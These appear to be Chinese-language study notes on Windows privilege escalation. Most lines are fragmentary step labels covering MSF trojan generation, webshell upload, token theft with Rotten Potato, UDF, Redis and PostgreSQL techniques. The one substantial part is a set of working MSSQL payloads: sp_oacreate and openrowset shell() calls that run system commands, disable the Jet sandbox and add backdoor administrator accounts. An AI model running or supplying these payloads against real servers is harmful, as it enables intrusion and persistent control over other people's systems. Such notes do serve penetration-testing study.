权限提升-win
已知程序
用户能做的事情
win+x
一般没权限执行vulmap
1.txt 是刚刚
对方的信息
工具在本地电脑上运行,通过1.txt,找对方漏洞
极少能在web环境下运用
必须在对方电脑上运行,必须改一下才能运用到本地
将
按照他的格式写进去
然后就得到
先使用:MSF利用(比较好)
直接搜索
装完后
生成一个木马
传出来
通过webshell上传文件木马
执行木马文件
木马设置的端口
看看现在是什么权限
出问题了,返回
重新生成木马
Linux 命令下 root权限 生成木马 修改端口为5577 ,文件5577.exe
把5577.exe传出来
再利用webshell上传5577.exe 执行
看权限,是普通的web权限
通过上面查找漏洞,现在选择一个漏洞exp
返回
搜索16年的exp
选择这个
看设置情况
看看刚刚监听的结果
发现 session 3
自己的服务器
再设一个端口
执行
成功成为系统权限
本地权限提升 win2008 win2007
win2003 XP 2000
at
sc
ps命令 win2008
下载到桌面
上传脚本爆破数据库密码
访问文件
UDF提权
新建目录plugin
安装
开启外连
sqlsever2008
启用:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',1;
Reconfigure with override;
关闭:
EXEC sp_configure 'show advanced options' ,1;
Reconfigure with override;
EXEC sp_configure 'Ole Automation Procedures',0;
Reconfigure with override;
执行:
delare @shell int exec sp_oacreate 'wscript.shell',@shell
output exec sp_oamethod @shell ,'run',null,'c:\windows\system32\
cmd.exe /c whoami >c:\\1.exe'
启用
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
--执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators qianxun /add")')
-- 恢复配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
https://blog.51cto.com/u_11797152/2411770
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')
添加 用户 密码
删除
Oracle
redis未授权
ip 端口
postgreSQL
低权限2018 https://vulhub.org/#/environments/postgres/CVE-2018-1058/
高权限2019 postgre https://vulhub.org/#/environments/postgres/CVE-2019-9193/
2019
用MSF比较好
令牌窃取
失败
需要配合烂土豆
烂土豆下载地址:
https://github.com/foxglovesec/Potato
执行烂土豆
重复令牌窃取
dll
修改名字
令牌窃取
目录带空格
改名放C盘
把后门放c盘,名字叫
本地提权